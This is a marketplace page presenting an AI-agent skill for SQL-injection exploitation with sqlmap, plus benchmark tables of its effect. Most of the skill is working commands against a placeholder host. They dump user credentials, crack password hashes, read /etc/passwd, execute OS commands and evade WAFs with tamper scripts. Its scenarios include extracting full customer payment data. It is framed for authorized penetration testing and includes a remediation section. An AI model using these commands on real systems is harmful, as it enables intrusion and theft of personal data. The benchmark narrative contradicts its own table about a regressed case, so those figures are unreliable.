Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.
.claude/skills/exploiting-sql-injection-with-sqlmap/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-19 | ✗→✓ | ▲ Improved | — | — |
| case-03 | ✗→✓ | ▲ Improved | — | — |
| case-15 | ✗→✓ | ▲ Improved | — | — |
| case-01 | ✗→✓ | ▲ Improved | — | — |
| case-11 | ✓→✓ | = Same ✓ | — | — |
pip install sqlmap or apt install sqlmap on Kali LinuxManually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.
bash# Start Burp Suite proxy and capture requests # Look for parameters in URLs, POST bodies, cookies, and headers # Example target URL with a suspected injectable parameter: # https://target.example.com/products?id=1 # Test manually for basic SQL injection indicators curl -k "https://target.example.com/products?id=1'" # Look for SQL error messages like: # - "You have an error in your SQL syntax" # - "ORA-01756: quoted string not properly terminated" # - "Microsoft SQL Native Client error"
Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.
bash# Basic GET parameter test sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent # For POST requests (save the request from Burp Suite to a file) sqlmap -r request.txt --batch --random-agent # Test specific parameter in a POST request sqlmap -u "https://target.example.com/login" \ --data="username=admin&password=test" \ -p "username" --batch --random-agent # Test with cookie-based injection sqlmap -u "https://target.example.com/dashboard" \ --cookie="session=abc123; user_id=5" \ -p "user_id" --batch --random-agent
Once injection is confirmed, enumerate databases, tables, and columns.
bash# List all databases sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent # List tables in a specific database sqlmap -u "https://target.example.com/products?id=1" \ -D target_db --tables --batch --random-agent # List columns in a specific table sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users --columns --batch --random-agent
Dump the contents of sensitive tables to demonstrate impact.
bash# Dump specific columns from a table sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users -C "username,password,email" \ --dump --batch --random-agent # Dump with row limit to avoid excessive data extraction sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users --dump --start=1 --stop=10 \ --batch --random-agent # Attempt to crack password hashes automatically sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users -C "username,password" \ --dump --batch --passwords --random-agent
Assess the full impact by testing OS-level access and file operations.
bash# Check current database user and privileges sqlmap -u "https://target.example.com/products?id=1" \ --current-user --current-db --is-dba --batch --random-agent # Attempt to read server files (if DBA privileges exist) sqlmap -u "https://target.example.com/products?id=1" \ --file-read="/etc/passwd" --batch --random-agent # Attempt OS command execution (MySQL with FILE privilege) sqlmap -u "https://target.example.com/products?id=1" \ --os-cmd="whoami" --batch --random-agent
When Web Application Firewalls or input filters block basic payloads, use tamper scripts.
bash# Common tamper scripts for WAF bypass sqlmap -u "https://target.example.com/products?id=1" \ --tamper="space2comment,between,randomcase" \ --batch --random-agent # For specific WAF bypass (e.g., ModSecurity) sqlmap -u "https://target.example.com/products?id=1" \ --tamper="modsecurityversioned,modsecurityzeroversioned" \ --batch --random-agent # List all available tamper scripts sqlmap --list-tampers
Document findings and clean up any artifacts.
bash# sqlmap stores results in ~/.local/share/sqlmap/output/ # Review the target output directory ls -la ~/.local/share/sqlmap/output/target.example.com/ # Export results with specific output directory sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users --dump \ --output-dir="/tmp/pentest-results" \ --batch --random-agent # Clean sqlmap session data after engagement sqlmap --purge
| Concept | Description | |---------|-------------| | Union-based SQLi | Uses UNION SELECT to append attacker query results to the original query output | | Blind Boolean SQLi | Infers data one bit at a time by observing true/false application responses | | Blind Time-based SQLi | Uses database sleep functions (e.g., SLEEP(5)) to infer data based on response delays | | Error-based SQLi | Extracts data through verbose database error messages returned in HTTP responses | | Stacked Queries | Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations | | Out-of-band SQLi | Exfiltrates data via DNS or HTTP requests initiated by the database server | | Tamper Scripts | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters | | Second-order SQLi | Injected payload is stored and executed later in a different query context |
| Tool | Purpose | |------|---------| | sqlmap | Automated SQL injection detection and exploitation framework | | Burp Suite Professional | HTTP proxy for intercepting, modifying, and replaying requests | | OWASP ZAP | Free alternative to Burp for web application scanning and proxying | | Havij | Automated SQL injection tool with GUI (Windows) | | jSQL Injection | Java-based GUI tool for SQL injection testing | | DBeaver/DataGrip | Database clients for verifying extracted data structure |
A product detail page uses id parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.
A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.
A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like space2comment and between to encode payloads and bypass the filter rules.
A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.
## SQL Injection Finding
**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection
### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No
### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql
### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at
### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-19 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +17 percentage points is the difference between those two pass rates over the 23 comparable cases. 1 case got worse with the skill loaded, and it is included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.